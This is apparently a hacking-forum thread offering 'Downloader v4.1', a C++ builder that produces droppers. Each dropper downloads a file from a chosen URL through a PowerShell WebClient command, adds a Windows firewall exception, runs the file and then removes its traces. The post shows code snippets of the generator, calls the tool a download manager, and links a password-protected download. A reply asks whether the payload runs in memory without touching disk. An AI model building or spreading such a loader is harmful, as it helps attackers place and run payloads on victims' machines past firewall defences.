• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

Downloader v4.1 by dEEpEst

Status
Not open for further replies.

dEEpEst

☣☣ In The Depths ☣☣
Staff member
Administrator
Super Moderator
Hacker
Specter
Crawler
Shadow
Joined
Mar 29, 2018
Messages
13,860
Solutions
4
Reputation
27
Reaction score
45,546
Points
1,813
Credits
55,090
‎7 Years of Service‎
 
56%
Downloader v4.1 by dEEpEst

Downloader v4.1 by dEEpEst is a C++ program that simplifies the process of downloading a file from a specified URL, running the file, and creating a firewall exception for the downloaded file.

Introduction

The tool can be especially useful for managing downloads and ensuring security rules are correctly applied to them.

Functionality

Upon execution, the program will:

  1. Ask for a URL to download the file from.
  2. Ask for the name of the file.
  3. Ask for the name of the Firewall rule.
  4. Ask for the Visual Studio compiler route.
  5. Generate a new .cpp file that contains code to create a firewall exception, download the file, run it, and remove both the firewall exception and file after use.
  6. Compile and run this new .cpp file.

Code Structure

  • The main components of the program are:
  • print_header(): Prints the ASCII art header and program details.
  • class DescargaYRegla: Handles the generation and compilation of a new C++ file.
  • generarArchivo(): Generates a new .cpp file.
  • compilarArchivo(): Compiles the new .cpp file into an executable.
  • replaceSingleBackslashWithDouble(): Utility function to escape backslashes in paths.
  • main(): Takes user input for the required parameters and starts the process.

Code Snippets

Class Constructor

DescargaYRegla(std::string url, std::string archivo, std::string regla, std::string rutaCompilador) : url(url), archivo(archivo), regla(regla), rutaCompilador(rutaCompilador) { generarArchivo(); compilarArchivo(); }


Generate a new .cpp file

... out << "if(system(\"powershell -Command \\\"(New-Object System.Net.WebClient).DownloadFile('" + url + "', '" + archivo + "')\\\"\") != 0) {\n"; ... }


Compile new .cpp file

... bat_file << "call \"" + rutaCompilador + "\\VsDevCmd.bat\"\n"; bat_file << "cl /EHsc new_code.cpp /Fe:new_code.exe\n"; ... }


Usage

Downloader.exe <URL> <file_name> <firewall_rule> <compiler_route>


Dependencies

Visual Studio: It should be installed and cl.exe should be in your system's PATH.

License

This project is licensed under the MIT License.

Download:

To see this hidden content, you must like this content.
Password:

level23hacktools.com

 
Last edited by a moderator:
Downloader v4.1 by dEEpEst

Downloader v4.1 by dEEpEst is a C++ program that simplifies the process of downloading a file from a specified URL, running the file, and creating a firewall exception for the downloaded file.

Introduction

The tool can be especially useful for managing downloads and ensuring security rules are correctly applied to them.

Functionality

Upon execution, the program will:

  1. Ask for a URL to download the file from.
  2. Ask for the name of the file.
  3. Ask for the name of the Firewall rule.
  4. Ask for the Visual Studio compiler route.
  5. Generate a new .cpp file that contains code to create a firewall exception, download the file, run it, and remove both the firewall exception and file after use.
  6. Compile and run this new .cpp file.

Code Structure

  • The main components of the program are:
  • print_header(): Prints the ASCII art header and program details.
  • class DescargaYRegla: Handles the generation and compilation of a new C++ file.
  • generarArchivo(): Generates a new .cpp file.
  • compilarArchivo(): Compiles the new .cpp file into an executable.
  • replaceSingleBackslashWithDouble(): Utility function to escape backslashes in paths.
  • main(): Takes user input for the required parameters and starts the process.

Code Snippets

Class Constructor

Hidden Content

  • Give reaction to this post to see the hidden content.
Generate a new .cpp file

Hidden Content

  • Give reaction to this post to see the hidden content.
Compile new .cpp file

Hidden Content

  • Give reaction to this post to see the hidden content.
Usage

Hidden Content

  • Give reaction to this post to see the hidden content.
Dependencies

Visual Studio: It should be installed and cl.exe should be in your system's PATH.

License

This project is licensed under the MIT License.

Download:

Hidden Content

  • Give reaction to this post to see the hidden content.
Password:

level23hacktools.com
dEEpEstNice! Share. Does it run the dowloaded file in memory? Doesn't touch disk etc.

 
Nice! Share. Does it run the dowloaded file in memory? Doesn't touch disk etc.
EvilMloNo, the file will be executed according to the characteristics of that file. Does what is described.

 
Status
Not open for further replies.
Back
Top